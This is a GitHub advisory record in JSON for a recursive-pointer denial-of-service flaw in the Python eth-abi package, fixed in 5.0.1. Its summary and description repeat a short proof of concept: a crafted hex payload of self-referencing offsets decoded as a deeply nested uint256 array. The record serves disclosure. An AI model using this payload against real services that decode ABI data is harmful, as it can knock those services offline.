{"id":"GHSA-3qwc-47jf-5rf7","aliases":["GHSA-3qwc-47jf-5rf7"],"related":[],"kind":"vulnerability","state":"published","title":"eth-abi is vulnerable to recursive DoS","summary":"This is related to recent ZST stuff (https://github.com/ethereum/eth-abi/security/advisories/GHSA-rqr8-pxh7-cq3g), but it's a different one. Basically a recursive pointer issue\n\n```py\nfrom eth_abi import decode\n\n\npayload = \"0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020\"\n\n# OverflowError: Python int too large to convert to C ssize_t\n#decode(['(uint256[][][][][][][][][][])'], bytearray.fromhex(payload))\n\ndecode(['uint256[][][][][][][][][][]'], bytearray.fromhex(payload+('00' * 1024)))\n```","summaryFormat":"markdown","summarySource":"ghsa","descriptions":[{"lang":"en","text":"This is related to recent ZST stuff (https://github.com/ethereum/eth-abi/security/advisories/GHSA-rqr8-pxh7-cq3g), but it's a different one. Basically a recursive pointer issue\n\n```py\nfrom eth_abi import decode\n\n\npayload = \"0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020\"\n\n# OverflowError: Python int too large to convert to C ssize_t\n#decode(['(uint256[][][][][][][][][][])'], bytearray.fromhex(payload))\n\ndecode(['uint256[][][][][][][][][][]'], bytearray.fromhex(payload+('00' * 1024)))\n```","format":"markdown","source":"ghsa"}],"published":"2024-03-05T14:39:13.000Z","modified":"2026-09-01T21:30:06.284Z","severity":{"scorer":"GitHub","scheme":"rating","rating":"MEDIUM"},"severities":[{"scorer":"GitHub","scheme":"rating","rating":"MEDIUM"}],"cwes":["CWE-1285"],"affected":[{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"5.0.1"}],"ecosystem":"PyPI","package":"eth-abi","purl":"pkg:pypi/eth-abi","source":"ghsa"}],"references":[{"url":"https://github.com/ethereum/eth-abi/security/advisories/GHSA-3qwc-47jf-5rf7","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/ApeWorX/eth-abi/pull/226","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/ethereum/eth-abi/commit/82c1ad37a866472562d81fedaef0f4fed0a08269","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/ethereum/eth-abi","tags":["package"],"sources":["ghsa"]}],"credits":[],"sources":[{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-3qwc-47jf-5rf7","url":"https://github.com/advisories/GHSA-3qwc-47jf-5rf7","licence":"CC-BY-4.0","modified":"2026-09-01T21:30:06.284Z"}],"updatedAt":"2026-11-25T22:56:33.766Z"}